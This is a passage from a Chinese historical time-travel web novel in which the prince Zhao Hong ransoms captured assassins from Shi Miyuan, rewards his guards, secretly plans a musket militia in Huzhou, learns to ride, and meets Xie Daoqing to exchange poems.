那贼见府中人等都看向了自己,顿时勃然大怒,指着身旁人等是破口大骂“:好你们几个贱东西,平素点头哈腰,百般讨好,现在本总管有难了,个个都踏马往死里挤兑是不是?”
宋宇哟了一声,止住了那人骂街,然后一脸玩味的看着那个人“:还是相府总管呢,官不小,我且问你,姓甚名谁啊?”
那人不敢忤逆宋宇,慌忙收住怒意,恭敬的回答道“:小人万昕,现任相府总管。太子殿下管小人叫小万子就好了。”
宋宇调笑着说道“:还是个东瀛名,小丸子!大丸子是你爹,对吗?”
万昕听到宋宇说话,顿时一头雾水,丈二和尚摸不着头脑。但又不敢表现出来。
只好跪在地上唯唯诺诺。生怕一个不对,便和自己家中养的那几个小骚狐狸说拜拜了。
宋宇看他一副贱骨头的样,往旁边啐了口吐沫,摆正脸色说道“:小丸子,本太子问你,可想活命?”
万昕一听有活命的机会,赶忙回道“;太子殿下有什么话,尽管问,小万子一定知无不言,言无不尽。”
言罢,又故作神秘的补充道“:殿下,可否屏退身边人等?小万子这里有机密事情相告。”
宋宇看他一脸神秘的样,并没有被勾起好奇心,就他那点小九九,宋宇早都猜了个**分,保不准便是要告发小小的卧底身份,好让自己活命。
就这事,还用告吗?想到这里,宋宇就要打断他,好实行自己的计划,哪知此话出的小丸子之口,却入得有心人之耳,只见一旁的小小忽然杏眼圆睁,娇声喝道“;殿下,这火便是他放的,险些要了奴家的命,干脆让奴家一刀杀了他,也好报烧楼之仇。”
语毕,从一旁侍卫腰间抽出腰刀,就要上前一刀结果了万昕。
宋宇见此,慌忙阻止小小“;小小女侠,杀他反倒脏了你的手。况且本太子自有打算,你且在旁静听。他若耍花样,你在结果他不迟。”
小小迟疑了片刻,随即听话的交出了腰刀,退到了一旁。
宋宇砸吧砸吧嘴:看来和小小的关系,很微妙啊。想必小小很怕自己知道她卧底的身份。
眼见小小冷静下来,宋宇刚要
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开口说话,杨辉从前院快步走了过来,身旁还领着府中的郎中。快步的绕过了一地死尸,走到宋宇跟前说道“;殿下,郎中请来了。”
宋宇摆摆手,示意郎中赶紧给所有受伤的人查看包扎,其中尤其关照帮小小查看下。
一切吩咐妥当,宋宇才回头对杨辉说道“:有你们这帮兄弟帮忙张罗府中大小事宜,实在是太好了。正好你也来了,本殿下有一笔账要算,你在旁给参谋参谋,别让本殿下吃了亏。”
杨辉听的是一头雾水,算账?死这么多人,莫不是要发抚恤金?这倒也情有可原。
带着这个念头,杨辉慌忙嗯了一声。
宋宇这才转过头来,对着万昕说道“;小丸子,本殿下不想听你墨迹别的,咱来谈笔买卖,你觉得合适,就活命,不合适,就**。怎么样?”
万昕一听宋宇不想听自己的机密,有些失落,但宋宇后两句话,又勾起了他活命的欲望,只见万昕慌忙磕头“:太子尽管说,只要小丸子办得到,定然不会想着**。”
宋宇哈哈大笑“;小丸子你想多了,本殿下只是想让你拿钱买命。你可以说一个价钱出来,本殿下觉得合适,你的命留下,不合适,就**。”
万昕一听这太子是要钱,顿时大松了一口气。只见他擦了擦额头的汗水,在心中思量了一下自己的家底,向着宋宇伸出了三个手指头。宋宇一看,笑骂道“:别跟本太子打哑谜,说数。”
万昕赶忙说道“:三万两,是小的全部身家了。”
宋宇并不知道这古代的钱是个什么概念,有些茫然的问旁边杨辉道“:一两银子,能换多少个铜钱?又能买多少米?”
杨辉听到宋宇询问,知道这皇家的娃娃,向来不知柴米油盐贵,也没感到意外,恭敬地答道“:殿下,一两银子约合三千文钱。折合成米粮,在临安地区,大概能买一石多米。”
宋宇哦了一声:得,做个狗腿子还挺有钱,我要是拿三万两白银都换成白米,估计能换三万多石米,也就是将近三百万公斤大米啊。
按一个人一年五百公斤粮食消耗,这点粮食,够六千多个人吃一年的。说实话,有几个人能那么好胃口,一年吃五百公斤?
宋宇对万昕给的这个数目,很是满意,转过头来又问其余贼道“;小丸子都一个人出三万两了,你们几个怎么表示?”
剩下三贼你看看我我看看你,顿时都是面露愁色。万昕看他们那鸟样,在一旁嘿嘿冷笑“:怎么的?拿不出来?该!让你几个平日里**样样俱全。就踏马喜欢花船上的姑娘,娶个媳妇才几个钱?白瞎了便宜那些小娘皮。”
宋宇听到万昕言语,知道这几个估计也不是有钱的主,于是打算换一种方式要钱。
但话没说出口,底下三人反倒先倒出了苦水“:太子殿下,我等本是这临安大街上的泼皮,为了混口饭吃,无奈投身史府。平素里有些银两,也都打发了青楼赌馆。实是没有这赎身之资,还望殿下明察。”语毕,几人又都磕起头来。
第三十三回 重赏身边人 拿贼来换钱
宋宇咳嗽一声“:咳恩,你们几个不必惊慌,有道是打狗还得看主人,更何况几位也都是史相跟前数一数二的狗。不如这样,本太子给史相写封信,你们几位找个靠得住的回去,将此信交给你们家大人看。他看后,定会将你们几个赎出来。你们觉得怎么样?”言罢,宋宇对着那三人露出善意的笑容。
几人一听,顿时嘀咕起来,过了许久,才选出一长得貌似忠厚之人。只见这忠厚之人刚要开口说话,一旁万昕抢先说道“;太子殿下,何不让小丸子回去?小丸子再怎么着,也比这几个泼皮在史相跟前更能说得上话不是?”语毕,万昕对着宋宇露出期待的眼神。
宋宇摇摇头“:不是本太子信不过你,只是小丸子你好不容易来一趟,怎么着也得让本太子尽尽地主之谊不是?”
万昕还想开口,一旁刘克庄冷声喝道“:住口,你敢忤逆太子不成?”
一句话直吓得万昕汗**眼倒竖,冷汗直流。硬生生把到嘴的话给咽了回去。
宋宇看到万昕吃瘪,咯咯咯得笑了起来“:看来本殿下实是长得太过面善。以后说话,不严厉都不行喽。”
言罢,转过头对着那忠厚之人问道“:你要回去送信?”
忠厚之人简单的嗯了一声,也没说什么俏皮话。
宋宇看他木楞楞的,知道这几人肯定都信得过他。便开口说道“:一会等本殿下处理完此间之事,便和小丸子各书信一封,你且拿这两封信回去将银子取来,至于史相出多少,你就告诉他小丸子给了六万两。”
说完也不等那人回答,转过身去询问杨辉道“:府中伤亡如何?”
杨辉一听太子问起这个,顿时面露尴尬之色“:殿下,兄弟刚刚只顾找郎中,并未盘查此事。”
言毕,似是又想起了什么,急忙补充道“:刚才余兄弟将我喊过来之后,便不知去哪了,想必是忙此事去了。”
杨辉话音刚落,就见余阶一头汗水的从人堆里挤了进来,对着宋宇一拱手禀道“;殿下,小弟已经清点了府中损失伤亡。”
宋宇满意的点点头说道“:还是余老幺你有心,知道本殿下走不开,提前就把事办了。说说看,损失多少?”
余阶听到宋宇夸自己,很是开心,急忙回报道“:刘大哥那边,伤四个,战死一人。损失最小。小弟所带五人,由于最先遇敌,三人阵亡,其余重伤,殿下所带七人,亡一人,伤两人,幸赖殿下庇佑,伤得都不重。修养几日,便可继续在府中效命了。杨辉所带府中闲杂人等,被**箭射死一人,射伤三个。”
宋宇听着汇报,脸色愈加阴沉:想不到计划周密,还导致这么大的损伤。这些明教之人,当真不可小觑。还有你史弥远,这次本殿下非得给你放点血,长长记性不可。
“:想不到穿着铠甲都死伤惨重,这伙贼人还真不是吃素的。”
余阶在旁附和道“:明教之人,虽然衣甲单薄,但私下里偷偷练武,大多都有武艺傍身,今日能胜他们,我等实属侥幸。殿下不必为死伤过多而过于自责。”
宋宇满面愧疚之色,对着余阶点了点头,随即吩咐一旁的杨辉道“:杨兄弟,本殿下让你盘点府中库存,你可有数了?”
杨辉慌忙回答道“:小弟早已做好,不算殿下带回来的古董字画,府中存银一万两千余两。”
宋宇砸吧砸吧嘴“:看来本太子还不如小丸子有钱,唉!真真的没道理啊。这宰相门前三品官,还真不是空穴来风。杨兄弟,本殿下交给你一样差事,你可得用心听,今晚为了保护咱这太子府,**六位好汉,本殿下心里着实过意不去,死的每位壮士,本殿下亲自给其家人开一张凭证,有此凭证,其家人可每月来咱太子府支取纹银十两,只要本殿下不死,这张凭据永远生效。至于受伤诸侍卫,依其伤势,五倍其汤药费酬劳。而且今晚所有参战侍卫,每人纹银一百两赏钱,府中各杂役,每人五十两,几位兄弟功劳最大,每人三百两纹银。”
此话一出,包括跪在地上的贼人,都倒吸了一口凉气,要知道今晚**得,可不止宋宇这边。
另外两队更是几乎全军覆没,就像万昕他们,**就算是白**,吃的就是这口饭。平素想要银子,都是偷摸的从下边人手里克扣,或者给史相办差的时候,顺些散碎银子。
活着的比**也好不到哪里,回去还要面对差事办砸,史弥远怪罪的风险。可谓贱命一条。
宋宇眼见包括史弥远府上之人,全都目瞪口呆的盯着自己,有些迷糊“:怎的?给少了?倒是提点意见啊?”
杨辉慌忙说道“:不少了,殿下,每月十两,就是县令,也不过如此。”
一旁有些离得近的,正在收敛尸体的侍卫听到宋宇所说,顿时泛起了一阵嘀咕,不多时议论声风气。
宋宇听他们在那边吵闹,笑骂道“:怎的?捡到金元宝了?一个个如此高兴?”
正在兴奋议论得侍卫看宋宇和他们笑骂,齐齐跪倒说道“;太子殿下,小的们给你磕头了。”
宋宇对着这帮侍卫赶忙说道“:都起来,累了大半晚上了,都是功臣,何必多礼?本殿下只要你们记住一点,只要本殿下不死,你们就跟着本殿下吃香的喝辣的就成。”
地上侍卫听完宋宇这一席简单朴实的大白话,心中都是暖洋洋的。一起谢道“:殿下,我等愿终生相随。”言罢,纷纷从地上站起,继续打扫院落去了。
宋宇看着在小雨中忙碌的所有人,心里百味杂陈:对于这些底层的侍卫来说,稍微一些钱财,就会让他们对你感激涕零。
可像是史弥远这样的巨贪,莫要说银子,就是将大宋整个国家囫囵个儿交给他,恐怕他也不会对你说半个谢字。欲望这东西,具体应照到每个人身上,会有不同的效果。
现在自己在这太子府中已经树立起高大上的形象,人心向背方面应该
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不会再出什么大问题。这史弥远,歪打正着的帮了自己一个大忙。
宋宇想到这,心情大好。回过头来对着余阶他们说道“:这眼看天就亮了,兄弟几个也都别回去睡觉了,一起将这烂摊子收拾收拾。本殿下这里去给史相捎个信,也好给府中添些零花。”
余阶等人连连点头,随即各自散去,张罗府中事务去了。
宋宇则领着刘克庄杨辉两人,押着小丸子一行,奔前院而去。
约么半个时辰之后,史弥远卧房,肥胖的史弥远,正与三个长相俊美,身材哇哉的赤身美女交叉睡在一起。
府内仆从小声在门外禀报“:相爷,出去办差的,有消息了。”
史弥远被禀报声喊醒,像猪一样哼唧两声,揉了揉惺忪的睡眼,这才抬起不知道是哪个美女的大白腿,翻身下地“:事情办好了?”
侍从迟疑了片刻,方才禀报道“:有一封书信,还请相爷移步。”
史弥远没有等来确切的答复,却等来了一封书信,顿时有些头大:我这是在做梦?
带着疑问,史弥远掐了下自己那硕大肥厚的脸皮,还挺疼:莫不是出了差错?
如此想着,史弥远披上一件薄杉,奔着屋外走去。待接过信纸一看,气的是破口大骂“:成事不足败事有余的蠢东西们。五十多人,拿不下一个小小的太子府。本相问你,对方多少人?”
回来报信的忠厚之人回道“:除去家丁,也就十几个。”
史弥远顿觉气血上涌,直冲天灵盖。一时满眼金星,头重脚轻。好悬没有晕过去。待稳住身形,史弥远有气无力的开口道“:平素抓明教之人,他们个个身怀武艺,打的官军节节败退。本相还当他们是把好剑,能除去赵竑这小崽子。现在看来,本相着实高估他们了。”
忠厚之人见史弥远情绪稳定了些,再次开口“:相爷息怒,当务之急,万总管和三个兄弟还被押在府中。太子殿下嘱托,只要史相敢不给钱,他就将将万总管移交大理寺...”
史弥刚平复的心情,瞬间再次引爆,用尽全力,将手中书信撕了个粉碎“:该死的赵竑,命是真硬,竟然还敢大放厥词,让本相拿钱去赎人。真正的欺人太甚。就是你那皇帝老子,也不敢跟本相如此说话。”
忠厚之人见史弥远暴走,哆哆嗦嗦跪在地上“:相爷,那咱们还给不给钱?”
史弥远抬起右手,指着前方“:你,快去请薛大人一干人等。”
一个时辰之后,薛极等一干人全都小跑快跑来到了相府。
入得相府前厅,只见平日里和颜悦色的史弥远,此时正坐在太师椅上生闷气。
薛极顿感事情不妙,慌忙问道“:恩相,什么事把您气成这样?”
史弥远一摆手“:昨晚那件事,败了。”
薛极一听事情败了,脸色立马就吓绿了。有些心虚的说道“:恩相,明教可是保证过,包括圣使在内,全是教中精锐。”
第三十四回 薛极来送钱 克庄论小小
史弥远满脸愤怒的打断道“:薛大人,赵竑那小崽子,现在扣押了几个本相府中之人,放言让本相花钱赎人,这件事,你怎么看?”
薛极一听对方要钱,长舒一口气“:要钱?要钱就说明对方有得谈。恩相,看来赵竑这小崽子,不敢跟您撕破脸。摆明了想大事化小,小事化了,这是向您示弱呢。”
薛极一席话说完,史弥远尚未答复,殿帅夏镇却突然开口,一脸愤慨的说道“:史相,这姓赵的小崽子,欺人太甚。我等何时受过这等窝囊气?本帅愿点起本部禁军,亲自带队,将这小崽子抓来任凭史相处置。若是他那皇帝老子敢放半个屁,本帅不介意效仿他老赵家的祖宗赵匡胤,拥戴史相来做这皇帝。”
夏镇的一番狂言,立马惹来薛极等人的嘘声“:夏殿帅好大的威风。先不说你手下那些个只会赌钱玩女人的禁军有多大战斗力。单论还有那三成的禁军掌握在杨皇后家人手中,日夜拱卫皇城这一条。薛某认为夏殿帅一定是又喝花酒喝多了。”
夏镇吃瘪,本想继续还嘴。史弥远一声怒喝传来“:都给本相住嘴。一个个成事不足,败事有余的东西。”
这声咆哮回荡在宽阔的待客厅内,立马止住了争吵。
“:薛大人,你一向以智谋见长,这件事,本相还是想听听你的意见。”
薛极见史弥远更加仰赖自己,得意的撇了一眼夏镇,随即眼珠转了转,暗自思量了一会,才小声翼翼的开口说道“:恩相,我等能有今日风光,主要是与我等作对之人,皆被赶出了朝堂,而这赵竑是太子,岂能被轻易赶走?所以才出此下策,暗杀于他。现在暗杀失败,留在恩相面前的,恐怕只有三条路可走。”
言毕,薛极偷偷瞄了瞄史弥远,在史弥远微微颔首之下,才咽了口唾沫继续说道“:这其一便是拿钱消灾,忍他这次,以待日后报复。其二便是再派人去,将万昕等人救出。但目下来看,想要不显山不漏水的救出人来,还真是不太容易。这其三便是。”
话到此处,薛极再次迟疑了一下,才小声继续说道“:像夏殿帅所言,动用禁军,公然反叛。不过恩相,若无十全准备,万万不可如此。现今事态紧急,还请恩相早做决断,万一万昕这几个人被宋宇屈打成招,拱入朝堂,到时候正应了那句名言,先发制人,后发治于人。”
史弥远听完薛极的分析,低头陷入了沉思,良久才抬起头来,有些泄气的说道“:薛大人,赔钱这件事就交给你去办了。区区几万两银子罢了,本相买个秦淮头牌的零头都不够。”
薛极小声恩了一声,招呼两个史弥远府中仆从,向着史府中的藏银之处走去。
而史弥远则用右手托着额头,陷入了沉默。
又是一个多时辰过去,薛极坐着史弥远府中马车,将银两送到了宋宇府中,宋宇高兴的笑纳了,让杨辉全都归到了太子府库中。
然后亲切的拉着薛极来到了前厅之内。分主次坐好后,宋宇爽朗的说道“:哎呀,薛大人,史相这次可是捡了个大便宜啊。”
薛极听到宋宇如此说话,鼻子直抽抽,蔫啦吧唧的附和道“:是是,殿下说得对。”
宋宇看到薛极嘴上说是,表情却不配合,有些调皮的说道“:薛大人,本殿下看你还不太相信啊,你是不知道,等送信之人走了后,本殿下才想起来,这烧毁的竹楼,本殿下还没算进去呢,你说说,是不是捡了个大便宜?”
薛极见宋宇得了便宜还卖乖,只觉得五脏六腑翻腾,胸中一口闷气是上蹿下跳,恨不得冲上去给宋宇俩大耳刮子。可想归想,终究是人在屋檐下,不得不低头,暗自诅咒了宋宇祖宗十八代后,薛极满脸委屈的回道“:那在下就多谢殿下给我等扔了个天大的便宜了。”
宋宇砸吧砸吧嘴“:哎呀,大家都在一个朝廷上班,低头不见抬头见,何必多礼?说实话,本殿下最佩服痛快人,啧啧,史相便是痛快人之中的痛快人。十五万两银子,史相三个时辰不到,便给送来了。要是换了本殿下,估计光借钱得功夫都不够。”
薛极听宋宇话里有话,慌忙解释道“;这个,史相家代代经营海贸,所以这些银子,史相倒是出得起。”
宋宇摆摆手“:哎呀,薛大人哪,你净乱想,这钱,本殿下只管花,哪管他是熬人油,抽人骨而来,还是卖官粥爵而来?在本殿下这里,都一样。”
两个时辰之后,被宋宇忽悠了两个时辰的薛极,像霜打的茄子,无精打采的离开了太子府。
送走薛极,宋宇这心里乐开了花,连蹦带跳的回到了前厅。此时天已大亮,府中一干人等也都忙活完了。全都集中在前厅闲聊。
看到宋宇到来,急忙都站起身恭迎。
宋宇高兴的劝大家落座“:众位何必多礼,我赵竑也不知几世修来的福分能与诸位同生死。幸哉,幸哉!”言罢坐在首位上,乐呵呵的看着一干人等。
堂下杨辉见宋宇落座,缓缓站起身来禀报道“:殿下,十五万两白银已悉数入库,小弟已经安排人手守护,想来是万无一失。还请殿下放心。”
宋宇面带微笑的说道“:杨兄弟办事,竑一百个放心。以后府内开支用度,悉数交给杨兄弟了。”
杨辉见宋宇对自己十分信任,心中暖洋洋的,赶忙领喏。
宋宇冲他摆了摆手,示意他坐下。随后扫视一圈众人,发现小小就坐在末尾的角落里,便对着小小说道“:小小姑娘,此次竹楼被焚,皆因本殿下而起,你放心,本殿下定然在帮你盖座一模一样的赔给你。”
小小听得宋宇言语,脸不禁红了,慌忙起身回道“;殿下,实不必如此破费,这府中如此多的房屋,奴家在哪里住都是一样的,另外奴家还要谢谢殿下义无反顾,挺身相救之恩。”
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言毕,微曲双膝,行了一个倩礼。
宋宇眉头皱了皱,思量了片刻,回答道“;既然如此,便委屈你了,前院卧室你可随便挑一间。”
言罢,宋宇也没管小小同不同意,转过头对着程保说道“:程兄弟,劳烦你和小小去找间她心仪的房间吧。”
程保急性子,赶忙领了声喏,带着小小向着厅外走去。
小小出去后,刘克庄站起身来说道“:殿下,小弟向来心直口快,藏着话不说,这心里憋得慌。”
宋宇疑惑的看了看他,说道“:哦?刘兄弟有话且讲来,何必吞吞吐吐?”
刘克庄理了理思绪,不急不慢的说道“:殿下,这小小姑娘,恐怕还非我等可以完全信任的地步。”
宋宇一听,哈哈大笑,心说原来是这事,但既然刘克庄说起,宋宇看周围又没外人,索性大方的说道“:这丫头,现在所处的位置很是微妙啊。”
刘克庄眉头皱成了大大的川字“:殿下,小小经过这件事,可曾向您坦露过**?或是想要向您袒露**?”
宋宇摇摇头,平静的说道“:没有。”
刘克庄见宋宇一脸平静,心中疑惑,追问道“:殿下,害人之心不可有,防人之心不可无。这姑娘心思深沉,您对她有救命之恩,她尚且留了一手,摆明了在殿下和史弥远之间,她还未做出选择。万一,万一哪天这丫头被史弥远命令做一些威胁到殿下生命之事...”
说到这,刘克庄停住了,一脸严肃的看着宋宇。
宋宇本想回话,一旁余阶站出来对着刘克庄说道“:大哥,想必殿下心中已有思量,而且小弟觉得,这丫头对殿下并没有什么恶意,若要对殿下动手,以她近水楼台先得月的有利位置,还不是易如反掌?”
刘克庄听得余阶言语,一脸严肃的反驳道“:余兄弟,此话差矣,这丫头出身秦淮,自小学的不是人情冷暖,道德仁义,而是如何伺候男人。道义这东西,对你我或许重要,但对她,一文不值。没有道义束缚人心,人心是要**的。”
余阶还要开口,宋宇挥挥手打断他俩道“:你两人都不必再争了,说到底,都是为了我的安全着想。其实对这丫头,本殿下心中也是又恨又怜。恨的是她不愿弃暗投明,向我表露心迹。怜的是这丫头年纪轻轻,却不能左右自己的命运,只能是某些居心叵测之人得掌中玩物。可悲,可悲啊!”
刘克庄连连摇头,叹了口气说道“:殿下,小弟只想劝你,切莫妇人之仁,到头来反倒害了自己。”
宋宇苦笑着看着刘克庄说道“:兄弟放心,我有自有分寸。”
语毕,转过头来对着杨辉与陈达说道“:杨辉陈达听令。”
两人听了呼唤,立马站出位来“;还请殿下吩咐。”
宋宇继续说道“:陈兄弟,我这里送你一份大礼,你可知离这临安百十里处有一湖州?”
第三十五回 论安身立命 布局湖州府
陈达不知宋宇葫芦里卖的什么药,但湖州这地他还是清楚的,便回答道“:小弟知晓,只是不知殿下提此作甚?”
宋宇哈哈一笑,对着屋内众人问道“:这湖州知府,你们可有人晓得是谁?”
此话一出,刘克庄立马回答道“;殿下,小弟知晓。”
“:哦?说来听听。”宋宇伸出右手,对着刘克庄做了个请的姿势。
“:这湖州知府姓姜名汝城。在这湖州任知府已有六七年。因无儿无女,无亲无故。故而平素并不贪恋权势。是个爱民如子的好官。小弟在淮东时,便听人提起过他的名讳。”刘克庄不急不慢道出湖州知府的底细。
宋宇满脸佩服的看着刘克庄,心中顿时对刘克庄的定位上升了一个层次。本以为刘克庄爱国诗人出身,人际关系定然淡漠。想不到他竟还有知人善任这一面。
暗自在心里对刘克庄点了个赞,宋宇继续说道“:刘兄弟说得好,但这只是表面,所谓知人知面不知心,而我却知其心,此人对我大宋可谓是忠心耿耿,虽无大志机谋,但却是我等可托付机密之人。”
此话一出,满屋之人无不睁大了眼睛看着宋宇,宋宇被这么多古代的英雄看着,心里顿时有点小得意。故作玄虚的说道“:诸位兄弟可知乱世之中,我等当以何为安身立命之本?”
言毕,宋宇眨巴眨巴眼,等着众兄弟回话。
只听得杨辉率先回道“;金银财帛,物通之便。有此相助,何愁天下不平?”
杨辉话音刚落,立马遭到了老友刘克庄的反驳“:杨兄弟之言大谬,想我大宋泥马渡江之前,财不可计数,粮草更是远胜塞北女真百倍千倍,有此之利,奈何败乎?”言罢理直气壮的看着杨辉。一副你不要带偏殿下的意思。
杨辉被说了个没脾气,有些不好意思的看了看宋宇。
宋宇微笑着点了点头“:杨兄弟所说,虽为立命之条件,但却非立命之本。”语毕,对着刘克庄点点头,示意他说说自己的想法。
刘克庄衣袖一甩,双手一拱,大义凛然的说道“;若处乱世,当修个人德行,广结民心,若得民心,何愁天下不平?”
宋宇听完刘克庄所言,连连摇头,对着众人说道“:众兄弟皆以为然?”
众兄弟皆点了点头。
宋宇见此,微笑着说道“:那依诸位之意,这民心,如何依得?要知龙有九子,尚且子子不同,更何况这天下芸芸众生?”
这一问,刘克庄顿时被问蒙了。思虑了片刻,说道“:那依殿下之意?”
宋宇眼见自己抛出的问题难住了他们,索性也不再故弄玄虚,从座椅上站起身来,甩了甩袍袖,一股英气迸发而出“:方才两位兄弟所说,并无不妥,但却都只是安身立命之条件,真正的基础,乃是训练一支强军,这支军队只能听令于一人,言战则战,言和则退,再以此军队为基础,整肃天下,积蓄府库,平民之利,强民之心。适时北克中原,剿灭胡虏。岂不易如反掌?”
一席话说完,堂下站立的众兄弟全都目不转睛地盯着宋宇,尤其是华岳余阶两人。
只见华岳在陈达搀扶下振起右臂,激动的说道“:殿下有此心,华某定然鼎力相助,今后若有战阵,华某愿以这一身本事,为殿下冲锋陷阵。”语毕,华岳双手抱拳,单膝跪倒在地。
相对激动的华岳来说,余阶到底斯文些,语带颤抖的说道“;余某今生得遇殿下,足矣,定然倾尽所学,为殿下效力。”
刘克庄也语带颤抖的说道“:望殿下能不忘今日所言。”此话说完之后,旋即跪倒。周围众人同之。
宋宇看到场面有些严肃,收回了四散的英气,恢复到平素的温柔说道“;众位兄弟起来吧,说正事要紧。”
言罢,宋宇率先回到了座位上。直到堂下众人再次落座之后,宋宇才缓缓说道“:在这临安招募兵卒,无异于痴人说梦,让人参上一本,反叛之罪是跑不了了。故而我打算让陈兄弟并杨兄弟前去湖州,一则买地,于隐蔽处置一处宅院,陈兄弟可于宅院之内制作改进火铳,以备将来之用。二则这湖州虽小,却是藏龙卧虎。于民间有兄弟三人捕鱼为生,名为潘壬,潘丙,潘甫。此三人原为大宋禁军,但因嫌恶军中弥败之气,愤然回乡,打鱼为生。你二人去后,可拿我的令牌,径直找他三人。三人忠义,可令其等招募乡民,详加操练。组成我大宋第一支火铳队。待他日天变之时,以备我等之用。其中用度。杨兄弟尽可府中来取。切记,此事务须隐蔽。不可走漏半点消息。”
言罢,宋宇将腰中太子令牌取下,交给了杨辉,继续叮嘱道“:你二人虽忙了一晚上,但此事事关重大。现在就出发吧。切记可信之人唯有知州与潘氏三兄弟。勿要听信他人之言。”
陈达和杨辉相互看了看,齐声说道“;谨遵殿下令。”
言毕,两人拜别屋内众人。奔马厩而去。
看到二人出屋,宋宇长出一口气。对着刘克庄说道“:刘兄弟,这次府内侍卫伤亡不小,这挑选侍卫之事,麻烦你去操办了。务必要那无牵挂之人。以免史弥远要挟其家人,针对我等,反倒不美。“
刘克庄欣然令喏“:殿下,此事小弟定然尽心办理。”
宋宇微笑着点了点头“:大家也都累了,下去歇着吧。”
此话说完,正待起身,忽又想起一事,慌忙说道“:啊,对了,我想要学习骑马与基本的自保剑术,不知哪位兄弟愿意教授?”
此话一出,平素因为磕巴,不大爱说话的赵国顿时来了精神,慌忙站出来说道“;殿下,学骑骑马,你找我啊!小弟小弟以前就是禁军侍卫马马军司出身!”
宋宇一听,微笑着回道“;那得了,就赵兄弟你了。至于剑术。”宋宇将目光定格在了华岳身上:武当剑法,应该好学吧?
华岳眼见宋宇看向自己,立马领会“:殿下,这剑术,华某倒是略懂一二,殿下不嫌弃,华某愿指点殿下一些剑术
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基础。”
宋宇见华岳很上道,开心的继续问道“:我这年纪,学剑术,不晚吧?”
“:回殿下,确实有些晚了,但练来强身健体,对付些许入门级的对手,还是绰绰有余的。”
宋宇听完华岳言语,越发开心,正要再问些什么。小小走了进来“:殿下,小小想要学习陈达的暗器。”
宋宇眉头微皱:这丫头要学火铳?她不是诱惑型的卧底吗?怎么?要转行干刺杀?关键是要杀谁?
“:咳咳,小小,我们这么多人保护你,你还怕不安全?”
“:小小只想殿下以后遇到危险,能保护殿下。以报殿下昨夜救命之恩。另外,小小也不想大晚上的,再被一群男人围着烧烤了!”
两人的对话,到此戛然而止。屋内未散去的众人也都屏息凝神,静等宋宇如何答复。
良久,宋宇点了点头“:希望我赵竑今日没有做出错误的选择。陈达兄弟刚离开太子府,数日后回来,到时我让他指点你。”
小小得了宋宇肯定的答复,开心的扑到了宋宇怀中“:殿下,就知道你不会拒绝奴家。”
小小事了,宋宇不忘在小小走后叮嘱身边兄弟,火铳之事干系甚大,日后要对小小加派些人手暗自盯着。莫要再让消息走露出去。
一切安排妥当,宋宇和赵国牵来两匹骏马,出门寻找开阔地学习骑马去了。
宋宇出了门后,余阶却并未回去休息,反倒是径直去找程保。程保此时正在帮小小整理卧房,见到余阶来找自己,满脸疑惑的擦了擦脸上的汗水问道“:余兄弟有事?”
余阶满脸微笑,故作神秘的四周扫了一眼说道“:可否借一步说话?”
言罢,也不管程保答应不答应,直接拽起程保一条胳膊,拉着便往隐蔽处走去。
一旁穿了一身围裙的小小擦了擦脸上的香汗,疑惑的看着这俩大男人拉拉扯扯的走远。
西湖边上,阳光明媚,风抚青柳,数条船儿随那西湖水波荡漾。
宋宇和赵国正在湖边打量着府内一匹白马。赵国此时正在滔滔不绝的讲述骑马的技巧。而宋宇则一只手揉着下巴,聚精会神的听着。
“:殿下,这这匹马在咱府中,可是最最顽劣的。您您说您非挑他干嘛?这这不是增加难度吗?”赵国舔了舔干裂的嘴唇说道,一宿未睡的他,此时被那阳光一晒,顿时一脸疲态。
宋宇挠了挠头,一脸鄙视的说道“:你懂个屁?我可是王子,不骑白马,岂不让人笑话?”
一席话顿时把赵国说的愣在了当场,心想:这王子和马还有说道?没听说过啊?不骑白马,还会被人笑话?一连串的疑问,顿时充满了赵国那本就存储量有限的大脑。
但也不敢再详细追问下去,只见他满脸通红得答道“:是是小弟没见识。”
语毕,领着宋宇来到了白马身后,严肃的说道“:殿下,这骑马,有有三件事您您得注意。这这第一件事,就是您您那,千千万别。”
第三十六回 相会五花亭 互赠小礼物
赵国说到此处,宋宇正好瞅见马屁股上有个小虫,也没细想,啪的一巴掌,直接将小虫拍死在了马屁之上。
哪曾想,这马长嘶一声,抬起后退“砰!”得一声,直接将赵国踢飞了出去,待宋宇转脸惊骇得找赵国之时,赵国早已被踢出去六七米远,空中飘来那未说完的半句话“:别拍马屁。”
宋宇吓坏了,赶紧跑过去,扶起躺在地上,满身灰尘的赵国,焦急的问道“:兄弟,踢到哪了?”
赵国脸色青绿,估计刚才也吓得不轻。喘着粗气说道“:幸好幸好昨晚甲胄未脱。”
言罢,用右手摸了下胸前的铁甲,只见这铁甲直接被踢的凹了进去。
宋宇看着那凹陷得铁甲,长出了口气“:万幸有甲胄,不然我定然后悔终生。”
就这样,宋宇在赵国的指导下,足足用了一整天的时间,才将那匹烈马驯服。拖着疲惫的身体回到了太子府。
一夜无话,直到第二天清晨的第一缕阳光散落在太子府的瓦当之上,给这些瓦当披上了一层金黄色。预示着太子府新的一天开始了。
府中众人全都在有条不紊的忙碌,宋宇则一早就让小小帮自己挑了一件最中意的衣服,吃过早饭后,牵着昨日驯服的那匹白马,领着几个侍卫,奔着西湖五花亭而去。
今日,正是宋宇和谢道清约定的相见之日。
宋宇骑着白马,游走在御街之上,不由脱口而出“:银鞍照白马,飒沓如流星。”
紧拍马腹,加速前行。出了喧闹的街市,直奔五花亭。
约摸一炷香后,宋宇来到五花亭外。
远远望去,就见五花亭紧靠西湖岸,周围数棵果树分布周边。远观,景色如诗似画,让人心旷神怡。
亭内一女子面朝西湖而坐,宋宇暗道:想不到她先我一步。
忙急步快走,待距离五花亭十余步时,亭中女子转过头来认清来人是宋宇,随即站起身走到五花亭石阶站住,对着宋宇莞尔一笑。
适逢春日,亭边一树桃花开的正盛,一阵微风吹来,朵朵桃花随风飘散,那女子轻启朱唇“:
枝上桃花白,
落地化尘埃。
空亭待日暮,
静等使君来。”
宋宇木楞楞的看着面前一幕,风还在吹,带着数瓣桃花,吹起谢道清的秀发,吹红了谢道清那仿若画中女子般的面容。“:
春风无意抚青丝,
惹得人儿脸羞红。
满园春光尽失色,
万千桃花不及卿。”
谢道清听完宋宇诗词,笑得愈加开心,小步快走,来到宋宇身前“:殿下,清儿可不敢比肩桃花之美。”
宋宇连连摇头“:草木之美,在乎自然,在乎其型。人之美,内外兼修。凡女子,只注重外形之美,色衰而祸至。然心灵之美,经久不衰。谢姑娘在我看来,不仅有外在美,更兼具心灵之美。比之桃花,桃花亦失色。”
